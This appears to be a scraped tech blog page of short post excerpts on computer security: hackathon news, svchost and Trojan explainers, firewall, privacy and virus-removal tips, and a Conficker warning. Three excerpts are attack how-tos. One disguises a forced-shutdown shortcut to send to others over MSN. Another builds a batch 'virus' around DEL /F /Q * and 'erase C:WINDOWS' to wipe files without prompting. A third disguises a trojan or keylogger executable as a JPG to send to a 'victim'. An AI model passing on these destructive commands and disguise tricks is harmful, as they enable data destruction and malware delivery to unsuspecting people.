Yahoo! Hack India to be held in Hyderabad

NEW DELHI: Programmers, developers, designers across the industry and student stop technical universities in India will gather at Hyderabad for a two-day hacking event. Over 1,000 developers across 20 states had signed up to participate in the sixth edition of "Yahoo! Hack India"July 13, of which 250 best hackers have been selected after an entry-level coding challenge. "These hackers will now participate in the two-day event which brings forth a series of technical workshops, followed by a nonstop 24-hour coding Hackathon on July 13 and 14," a statement said. For the first time, Yahoo! Hack India is being organized in cyber city Hyderabad....

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Laptop Tracker Software For Quick Heal Users - English Version

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Interesting story behind Trojan Horse

We all have heard about the viruses named Trojan Horse, Trojan Horse is a kind of virus which appears to perform it’s intended tasks, But silently steals all the information from your computer or harms your computer in a way which may be difficult to recover. Interestingly I got to know a story about the name Trojan Horse virus, Here it goes… In Greek Mythology they believe there was a city called, City Of Troys & there was other kingdom of Greeks. They fought for about 10 years and the war was called the Trojan War. After 10 years of fight the greeks still had nothing in their hands, it was a fruitless siege , So the greeks declared...

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SvcHost Exe process info & virus details

What is an SVCHost.exe file? & What is it doing in your task manager? An svchost.exe file is a windows generic host process & is there for a good reason, This files is a native integral part of the windows operating system. It basically supports various windows services running from the Dynamic Link Library (DLL) files of windows. The services that may require SVCHOST.Exe include Windows Firewall, Automatic System Updates, Windows themes , Plug and play, Fax & printer services & many more. These services ideally start automatically when the windows system starts. These files are found in all windows operating systems launched...

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Steps to Protect Your Computer..!!

1. Turn on automatic updates. After installing your operating system, you usually forget to pay attention on operating system updates. If your operating system is not updated for protection against loopholes and security threats found after you installed it, your computer may be vulnerable to outside world. Hackers can get access to your computer by using these loopholes and they can do anything with your computer. So, to keep you safe, turn on automatic updates. When automatic updates are turned on your operating system is updated frequently and you will be safe from unwanted trouble. You can turn on automatic updates from Control Panel => Security Center => Automatic Updates. You must be logged in as Administrator to change this setting. 2. Turn on Windows Firewall. Windows Firewall...

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Update your Windows XP drivers

Fast, quick and easy, DriverScanner boosts computer performance by scanning for, downloading and then installing updates for all your device drivers including: Monitor, mouse, keyboard, CD/DVD Sound & graphics cards Motherboard & BIOS, USB, Modem & network adapters Camera, printer, scanner & other plug and play devices What are drivers?Drivers are snippets of software that are needed for your Windows operating system to communicate with each of the hardware devices that are connected to your computer. Why should I update my drivers?Like any software, drivers are upgraded and updated by the manufacturers, to remove bugs, add...

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Error Reporting in XP

If error reporting in XP is bugging you then turn it off. When a system error occurs in XP, a little dialog box appears asking if you want to report the error to Microsoft. Click the message box to make it disappear. You don't have to report the error if you don't want to and on today's "Call for Help" Leo shows you how to turn off the feature if you find it distracting. To disable error reporting, follow these directions: 1. Right-click My Computer and choose Properties. 2. Click the Advanced tab on your System Properties dialog box. 3. Click the Error Reporting button on the Advanced tab. 4. Place a checkmark next to "Disable error...

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How to make a fake virus

This Cannot Damage your computer it only shuts it down Step 1: Right click on your desktop. Step 2: Click create new shortcut. Step 3: Copy and paste the following: shutdown -s -t 02 -c "BYE!" Step 4: Rename it as Application Step 5: Right Click on your Desktop Step 6: Click on New Compressed Zipped Folder Step 7: Rename the compressed zipped folder to "stuff" Step 8: Drag and Drop the the Application folder you created into the compressed zipped folder. Step 9: Send it over msn Step 10: Enjoy! - JMD Computer                          Keep Comment Source:- http://www.stuffyouneedtoknow.page.tl/How-to-make-a-fake-virus.htm...

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How to make a virus

How to make a powerfull virus on Notepad. This information is for educational purposes only don't be a jerk and try this out I will not be held responsible if any damage occurs to anything. Step 1: Go to Start Step 2: Type in Notepad Step 3: Copy and Paste the following into notepad: DEL /F /Q * Step 4: Save this as: "Virus.cmd" (with out quotation marks you must have .cmd) Step 5: Don't open it. It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something. Step 6: Enjoy! How to make a Virus that deletes the WINDOWS file Step 1: Go to Start Step 2: Type in Notepad. Hit enter Step 3: Copy and paste the following: erase C:WINDOWS Step 4: Save as:...

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NoD 32 AntiVirus

NOD32 The NOD32 antivirus system provides balanced state-of-the-art protection against threats endangering your PC. Viruses, worms, and other malware are kept out of striking distance from your valuable data. Advanced detection methods implemented in the software provide protection against a great proportion of the worms and viruses that are still awaiting creation. Eset NOD32's latest version is sleek and recommended. The company currently provides a 30-day, full-featured trial, with no third-party toolbars added on nor other strings attached. Installation is clean and straightforward. So is the interface, which has improved...

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BEWARE of "Conficker worm's " VIRUS attack today

A malicious software program that has infected millions of computers could enter a more menacing phase on Wednesday, from an outright attack to a quiet mutation that would further its spread. Computer security experts who have analysed the Conficker worm's code say it is designed to begin a new phase on April 1, and while it's unclear whether it will unleash havoc or remain dormant, its stubborn presence is rattling businesses with multimillion-dollar budgets to fight cyber crime. Conficker, believed to reside on 2 - 12 million computers worldwide, is designed to turn an infected PC into a slave that responds to commands sent from a remote server that controls an army of slave computers known as a botnet. "It can be used to attack as well as to spy. It can destroy files, it can connect...

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Hide EXE File into JPG

This is a good trick to hide your exe files into a jpg file..! How about sending a trojan or a keylogger into your victim using this trick..?? 1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked. Basically what you need is to see hidden files and see the extension of all your files on your pc. 2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it) 3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg' 4) Windows is going to warn you if you really want to change this extension from exe to jpeg,...

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Antivirus2009 - How to Remove Antivirus2009 Easily and Safely

If you are reading this article then your computer must be infected by Antivirus2009. Antivirus2009, Antivirus2008 and XP antivirus are categorized as rogue anti-spyware. They are very complicated viruses. What you see in your computer will be pop ups and annoying redirection when you are browsing. But did you know that they can also reveal your personal information, steal your credit card number and use it? Yes they can! Do not panic I will show you how to remove them quickly and safely now. The first thing that you should do now is to go to my recommended sites and get a free scan there. You can use the free scan without registering or paying....

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Computer Firewalls

A firewall is a computer software that provides protection from hacking attempts from the Internet. It is very important to install a suitable firewall software to protect the computer from spyware and virus infections. A large number of security companies have developed firewall software. Some of these software are free for personal use. A firewall software is basically a "packet sniffer". Data that gets transferred via the Internet moves in the form of packets. The firewall software intercepts these packets, analyzes its contents and determines if it is harmful to the computer. If the packet contains malicious content, the firewall blocks...

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Do You Have a Virus? Basics of Virus Removal

If you have a virus your doctor probably prescribed an antibiotic for you. It is too bad the same cannot be applied to a computer. A computer virus attacks at many levels. It moves throughout your system and can be difficult to eradicate. In advanced cases it can get into the root area and prevent your system from booting up. If this happens you may have to format ( erase ) your hard drive and reinstall the operating system. This is time consuming and unnecessary if you have the proper protection. The regular user will find it beyond their ability to do this and will contemplate taking their computer to a repair shop. Don't do it! Until you read...

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How to Use Google Chrome For Secure Web Surfing by Default

If you have ever shared a log on or computer for your web browsing you'll know how annoying it can be not to have secure web surfing. Organize a surprise party or weekend away and then a list of hotels appears in your partners browser next time she logs on. It's almost like you share a common surfing history in the house. Let's face it perhaps you don't want your kids to visit all the same web sites as you! There's nothing ground breaking in Chromes Incognito mode but it is a very useful feature. Switch to Incognito mode and your web surfing instantly becomes a little more secure. This is how you can use Chrome for secure web browsing, simply...

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Can Google Chrome Help Secure Web Browsing?

If you have to share a computer either at home, work or school then you'll soon realize that you leave a trace of your web history on the computer each time you use it - it's not exactly secure web browsing. This can be quite annoying at times, if you're trying to arrange a surprise, buy a gift then leaving a trail of web sites behind you can slightly give the surprise away. There is of course even more serious side when so many of use the internet for lots of private stuff like banking, investments or research. Using a shared computer has a lot of risks to it so most of the browsers are introducing features to deal with this. Google's Chrome...

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A Guide to Choosing Internet Privacy Software

It can be quite confusing looking at the various types of internet privacy software on the market today. Hopefully I can clarify some of the features to help you decide what is right for you. First of all I should perhaps clarify the two major types of privacy software that is available. The first group protects your local PC and information stored there, this includes the web browsing history, cookies, local images and files associated with your internet surfing. The idea behind this software is that when you delete or remove these traces of your surfing they are not completely destroyed.  With the right technical skills it is possible to recover these details. You'll mostly find this group of software focusing on evidence removal and destroying local traces of your browsing. Before...

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Setting Up a Secure Wireless Network - Part 3

Welcome back! I'm glad to see you are not interested in "just" being secure, but you want to be very secure. There are pros and cons to this. You know the pros. Security! , but first of course is my:DISCLAIMER: While every reasonable precaution has been taken in the preparation of this document, the author is not responsible for errors or omissions, or for damages resulting from the use of the information contained herein.The information contained in this document is believed to be accurate. However, no guarantee is provided. Use this information at your own risk.OK. Here are the cons: No DHCP (Dynamic Host Configuration Protocal) Server. You will need to set your IP addresses manually on all the wireless and wired clients you want to hook to your network.No viewable SSID. You will have to...

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To Fix a Slow Running Computer, You Need the Right Tools

When people bring me their computers for repair, there is one problem that motivates them to bring it to my shop more than any other. It is the computer is running slow. Maybe the computer has other problems, but the running slowly part bothers them the most. There are a few things that can happen to a computer to slow it down and I will talk about these things in this article. However, there is one problem that often goes overlooked when discussing things that need to be done to get a computer's speed back. We will not overlook this problem. Spyware/Virus And Registry Cleaners It is well documented what spyware and viruses can do to a computer's operation. It can slow it down and in extreme cases it can cause the computer to be unable to start up. Even worse, spyware can steal a person's...

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